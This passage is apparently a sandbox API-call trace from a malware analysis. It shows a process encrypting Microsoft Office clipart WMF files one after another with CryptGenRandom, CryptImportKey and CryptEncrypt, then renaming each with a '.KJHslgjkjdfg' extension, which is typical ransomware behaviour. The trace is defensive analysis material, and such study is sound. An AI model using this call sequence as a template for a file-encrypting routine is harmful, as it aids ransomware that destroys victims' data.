lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0224.466] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0224.466] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0224.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0224.466] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0224.466] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0224.466] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0224.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.466] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x37f8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x37f8, lpOverlapped=0x0) returned 1 [0224.492] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3800, dwBufLen=0x3800 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3800) returned 1 [0224.493] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.493] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3800, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3800, lpOverlapped=0x0) returned 1 [0224.493] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0224.493] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x38d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.493] SetEndOfFile (hFile=0x130) returned 1 [0224.497] GetProcessHeap () returned 0x2ef0000 [0224.497] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0224.497] GetProcessHeap () returned 0x2ef0000 [0224.497] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0224.497] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf.kjhslgjkjdfg")) returned 1 [0224.501] CloseHandle (hObject=0x130) returned 1 [0224.501] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f24df00, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f24df00, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x167c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE05710_.WMF", cAlternateFileName="")) returned 1 [0224.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0224.503] GetProcessHeap () returned 0x2ef0000 [0224.503] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0224.503] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0224.503] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0224.503] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0224.569] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0224.569] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0224.570] GetProcessHeap () returned 0x2ef0000 [0224.570] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0224.570] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0224.570] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0224.570] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0224.570] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0224.570] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0224.570] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0224.571] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0224.571] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0224.571] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0224.571] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0224.571] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.571] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x167c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x167c, lpOverlapped=0x0) returned 1 [0224.620] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1680, dwBufLen=0x1680 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1680) returned 1 [0224.620] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.620] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1680, lpOverlapped=0x0) returned 1 [0224.621] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0224.621] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.621] SetEndOfFile (hFile=0x130) returned 1 [0224.624] GetProcessHeap () returned 0x2ef0000 [0224.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0224.624] GetProcessHeap () returned 0x2ef0000 [0224.624] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0224.624] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf.kjhslgjkjdfg")) returned 1 [0224.626] CloseHandle (hObject=0x130) returned 1 [0224.626] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49073b00, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49073b00, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE05869_.WMF", cAlternateFileName="")) returned 1 [0224.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0224.630] GetProcessHeap () returned 0x2ef0000 [0224.630] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0224.630] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0224.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0224.630] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0224.689] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0224.689] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0224.689] GetProcessHeap () returned 0x2ef0000 [0224.689] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0224.689] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0224.689] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0224.689] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0224.689] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0224.690] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0224.690] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0224.690] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0224.690] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0224.690] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0224.690] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0224.690] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.690] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x608, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x608, lpOverlapped=0x0) returned 1 [0224.690] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x610, dwBufLen=0x610 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x610) returned 1 [0224.690] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.690] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x610, lpOverlapped=0x0) returned 1 [0224.690] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0224.690] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.690] SetEndOfFile (hFile=0x130) returned 1 [0224.693] GetProcessHeap () returned 0x2ef0000 [0224.693] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0224.693] GetProcessHeap () returned 0x2ef0000 [0224.693] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0224.693] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf.kjhslgjkjdfg")) returned 1 [0224.695] CloseHandle (hObject=0x130) returned 1 [0224.695] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44428700, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44428700, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE05870_.WMF", cAlternateFileName="")) returned 1 [0224.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0224.699] GetProcessHeap () returned 0x2ef0000 [0224.699] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0224.699] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0224.699] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0224.699] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0224.808] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0224.808] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0224.808] GetProcessHeap () returned 0x2ef0000 [0224.808] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0224.809] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0224.809] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0224.809] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0224.809] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0224.809] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0224.809] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0224.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0224.809] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0224.809] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0224.809] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0224.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.809] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x634, lpOverlapped=0x0) returned 1 [0224.809] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x640, dwBufLen=0x640 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x640) returned 1 [0224.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.809] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x640, lpOverlapped=0x0) returned 1 [0224.810] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0224.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.810] SetEndOfFile (hFile=0x130) returned 1 [0224.812] GetProcessHeap () returned 0x2ef0000 [0224.812] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0224.812] GetProcessHeap () returned 0x2ef0000 [0224.812] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0224.812] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf.kjhslgjkjdfg")) returned 1 [0224.814] CloseHandle (hObject=0x130) returned 1 [0224.814] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x671b6e00, ftCreationTime.dwHighDateTime=0x1bd4bfa, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x671b6e00, ftLastWriteTime.dwHighDateTime=0x1bd4bfa, nFileSizeHigh=0x0, nFileSizeLow=0x7fce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE05930_.WMF", cAlternateFileName="")) returned 1 [0224.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0224.815] GetProcessHeap () returned 0x2ef0000 [0224.815] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0224.815] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0224.815] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0224.815] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0224.818] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0224.818] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0224.818] GetProcessHeap () returned 0x2ef0000 [0224.818] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0224.818] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0224.818] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0224.818] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0224.818] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0224.818] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0224.818] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0224.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0224.818] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, 